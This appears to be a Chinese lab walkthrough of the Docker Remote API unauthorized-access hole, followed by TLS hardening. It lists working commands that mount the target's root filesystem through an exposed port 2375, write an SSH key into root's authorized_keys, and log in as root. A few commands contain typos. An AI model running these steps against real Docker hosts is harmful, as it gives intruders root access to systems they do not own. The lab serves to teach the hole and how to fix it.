Docker Remote API未授权访问漏洞以及安全防护

一、拓扑图

二、环境与配置

环境

设备

IP地址

操作类型

docker版本

镜像

训练机

192.168.0.2

centos7

18.03.1-ce

*

靶机

192.168.0.3

Ubuntu

24.0.4

至少一个容器镜像

靶机配置

执行vi /usr/lib/systemd/system/docker.service命令对靶机docker服务进行配置

执行 ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://192.168.0.3:2375命令编辑docker.service文件,开启 Docker daemon 的远程访问,也就允许Docker daemon 进行本地和远程通信

三、背景

在使用Docker Swarm中,管理Docker的节点默认会启动一个API服务,并且将2375作为默认端口,0.0.0.0绑定为默认可以访问到API的IP。因为API是可以执行Docker命令的,所以暴露在公网上就非常危险。如果目标是以root权限运行的Docker,那么就可以利用Docker能挂载宿主机的物理路径到容器中来写入ssh公钥来获取shell。

四、API测试

4.1执行docker -H tcp://192.168.0.3:2375 version命令查看靶机docker版本

4.2执行docker -H tcp://192.168.0.3:2375 images命令查看靶机docker下容器镜像

五、漏洞利用

5.1执行docker -H tcp://192.168.0.3:2375 run -it -v /:/mnt ubuntu /bin/bash命令将靶机的/路径挂载到容器的/mnt路径下

5.2新建一个训练机的终端,执行ssh-keygen -t rsa命令生成秘钥对

5.3执行cat /root/.ssh/id_rsa.pub查看公钥内容

5.4将公钥内容复制到文本编辑器中,然后将换行符删掉,将内容变成一行

然后切换到训练机进入容器Ubuntu的终端,在容器中输入echo "删除换行符后的内容" >>/mnt/root/.ssh/authorized_keys,命令如下:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPFe9B7fHccehER3gLBPWr6xEM771AH2IO8P6DYK4u/RCes/E6o4Q7jAt+nLCrN8t3jJrCM6A626mr0h TuKYVGO6kxWs9lCJC8TlGv2B69fJVx7vX/HrwaBHQkPoyMq3GM7BoiFGiSJUu29qaTv/zZmxn7252yflQXeXoIqxQVWgX8OQDKlXQk6F+mvvLJNZSUUVMb4FOjfViChAJ8JBOaUbK5xQbpsDjiCQX Ike7X0pHHSb5PcOLs0ZuY059NqCrboiwCglrYsevlTWLEe4FNNfyjDxsAIxW40SU7p1hl/Hd42TQdDPpw9wfmYzxMq8cwG/hadzR6dSea5bKRetB root@Server-e76b1696-2869-4f19-97dd- b5c56e217cc9.novalocal" >>/mnt/root/.ssh/authorized_keys 

5.5再次切换到训练机终端,执行ssh root@192.168.0.3命令进行秘钥认证登录

六、加固

6.1采取TLS技术进行加密认证和身份验证,执行vi /usr/lib/systemed/system/docker.service命令修改配置文件,取消14行注释,并给16行添加注释。

6.2执行systemct daemon-reload和systemctl restart docker.service命令重启docker服务

七、验证

7.1训练机终端执行docker -H tcp://192.168.0.3:2376 run -it -v /:mnt ubuntu /bin/bash命令,发现无法进入靶机Ubuntu容器内

7.2执行 docker --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem -H tcp://master:2376 run -it -v /:/mnt ubuntu /bin/bash命令,

使用证书再次进行验证,发现成功进入靶机Ubuntu容器内

注意:tcp://master采用了本地主机名解析技术,也就是将IP地址192.168.0.3和主机名master的映射关系写入到了训练机/etc/hosts文件中了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值